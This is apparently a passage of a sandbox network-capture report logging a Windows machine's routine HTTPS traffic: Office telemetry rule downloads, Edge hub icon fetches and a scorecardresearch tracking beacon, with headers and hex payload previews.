2024-11-22 22:06:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220637Z-174c587ffdfb74xqhC1TEBhabc00000001zg00000000keta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49809	18.165.220.57	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	925	OUT	GET /b?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:38 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 22 Nov 2024 22:06:38 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=11Ebb78d014cdf6d9e000301732313198; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=11Ebb78d014cdf6d9e000301732313198; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 95338a874dfd55bb25f7a1d81da8434a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: TOIlz7EFzuYJii5OgSxMvtOMv6fWoI4jZiOL1T4VqUJgQ61keJ9wjA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49847	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f05f392f-b01e-0075-322a-3defbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220638Z-15b8b599d88z9sc7hC1TEBkr4w000000024000000000fabt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49849	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f9357370-101e-005a-312a-3d6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220639Z-178bfbc474bwh9gmhC1NYCy3rs00000003s0000000000e6a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49850	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: a69a0a32-301e-0046-602a-3db691000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220639Z-178bfbc474bh5zbqhC1NYCkdug00000003c000000000w5hk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49851	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 4a51215c-501e-003b-2b2a-3d2a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220639Z-174c587ffdfl22mzhC1TEBk40c000000023000000000q7qr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49852	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:38 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220639Z-178bfbc474bfw4gbhC1NYCunf400000003mg000000008fep Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49848	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:39 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220639Z-174c587ffdfn4nhwhC1TEB2nbc000000020g00000000sc0d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220639Z-178bfbc474bpscmfhC1NYCfc2c0000000280000000001u4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: e42c2868-f01e-003f-5826-3dd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220639Z-15b8b599d88l2dpthC1TEBmzr000000001y000000000g1fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220639Z-15b8b599d889gj5whC1TEBfyk000000001sg00000000p0fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
